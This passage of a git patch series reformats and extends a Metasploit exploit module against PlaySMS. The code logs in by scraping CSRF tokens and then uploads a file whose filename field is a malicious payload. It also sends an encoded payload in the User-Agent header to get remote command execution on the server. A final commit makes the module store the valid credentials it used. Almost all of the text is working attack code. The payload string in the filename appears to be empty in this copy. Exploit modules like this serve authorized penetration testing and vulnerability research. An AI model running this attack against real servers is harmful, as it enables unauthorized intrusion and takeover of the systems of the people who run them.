return target_uri.path + end -def uri -return target_uri.path -end - -def check -res = nil -begin - res = send_request_cgi({ + def check + begin + res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php') - }) -rescue - vprint_error('Unable to access the index.php file') - return CheckCode::Unknown -end + }) + rescue + vprint_error('Unable to access the index.php file') + return CheckCode::Unknown + end -if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') - return Exploit::CheckCode::Appears -end + if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') + return Exploit::CheckCode::Appears + end -return CheckCode::Safe -end + CheckCode::Safe + end -def login -res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'index.php'), - 'method' => 'GET', - 'vars_get' => { + def login + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'vars_get' => { 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', - } -}) + } + }) -# Grabbing CSRF token from body -/name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body -fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? -vprint_good("X-CSRF-Token for login : #{csrf}") + # Grabbing CSRF token from body + /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("X-CSRF-Token for login : #{csrf}") -cookies = res.get_cookies -print_status('Trying to Login ......') -# Send Creds with cookies. -res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, 'index.php'), - 'cookie' => cookies, - 'vars_get' => Hash[{ + cookies = res.get_cookies + vprint_status('Trying to Login ......') + # Send Creds with cookies. + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', 'op' => 'login', - }.to_a.shuffle], - 'vars_post' => Hash[{ + }.to_a.shuffle], + 'vars_post' => Hash[{ 'X-CSRF-Token' => csrf, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] - }.to_a.shuffle], -}) + }.to_a.shuffle], + }) -unless res - fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") -end + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? -# Try to access index page with authenticated cookie. -res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'index.php'), - 'cookie' => cookies, -}) + # Try to access index page with authenticated cookie. + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + }) -# if we redirect to core_welcome dan we assume we have authenticated cookie. -if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') - print_good("Authentication successful : [ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") - return cookies -else - fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") -end -end + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? + # if we redirect to core_welcome dan we assume we have authenticated cookie. + if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') + print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]") + #TODO: store credentials in database + return cookies + else + fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") + end + end -def exploit + def exploit + cookies = login -cookies = login - -# Agian CSRF token. -res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'index.php'), - 'method' => 'GET', - 'cookie' => cookies, - 'vars_get' => Hash[{ + # Agian CSRF token. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'cookie' => cookies, + 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'feature_sendfromfile', 'op' => 'list', - }.to_a.shuffle] -}) + }.to_a.shuffle] + }) -unless res - fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") -end + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? -# Grabbing CSRF token from body. -/name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body -fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? -vprint_good("X-CSRF-Token for upload : #{csrf}") + # Grabbing CSRF token from body. + /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("X-CSRF-Token for upload : #{csrf}") -# Payload. -evilname = "" + # Payload. + evilname = "" -# setup POST request. -post_data = Rex::MIME::Message.new -post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token -post_data.add_part("{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload -post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra -data = post_data.to_s + # setup POST request. + post_data = Rex::MIME::Message.new + post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token + post_data.add_part("#{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload + post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra + data = post_data.to_s -vprint_status('Trying to upload file with malicious Filename Field....') -# Lets Send Upload request. -res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'index.php'), - 'method' => 'POST', - 'agent' => payload.encode, - 'cookie' => cookies, - 'vars_get' => Hash[{ + vprint_status('Trying to upload file with malicious Filename Field....') + # Lets Send Upload request. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'POST', + 'agent' => payload.encode, + 'cookie' => cookies, + 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'feature_sendfromfile', 'op' => 'upload_confirm', - }.to_a.shuffle], - 'headers' => { + }.to_a.shuffle], + 'headers' => { 'Upgrade-Insecure-Requests' => '1', - }, - 'Connection' => 'close', - 'data' => data, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", -}) -end + }, + 'Connection' => 'close', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + }) + end end From 601411fe7b49b4d98556e580b97f28e2b37914b8 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 7 May 2018 07:26:28 -0500 Subject: [PATCH 8/8] store credentials --- modules/exploits/multi/http/playsms_filename_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/playsms_filename_exec.rb b/modules/exploits/multi/http/playsms_filename_exec.rb index 0ead99c304..25b599c93e 100644 --- a/modules/exploits/multi/http/playsms_filename_exec.rb +++ b/modules/exploits/multi/http/playsms_filename_exec.rb @@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote # if we redirect to core_welcome dan we assume we have authenticated cookie. if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]") - #TODO: store credentials in database + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) return cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")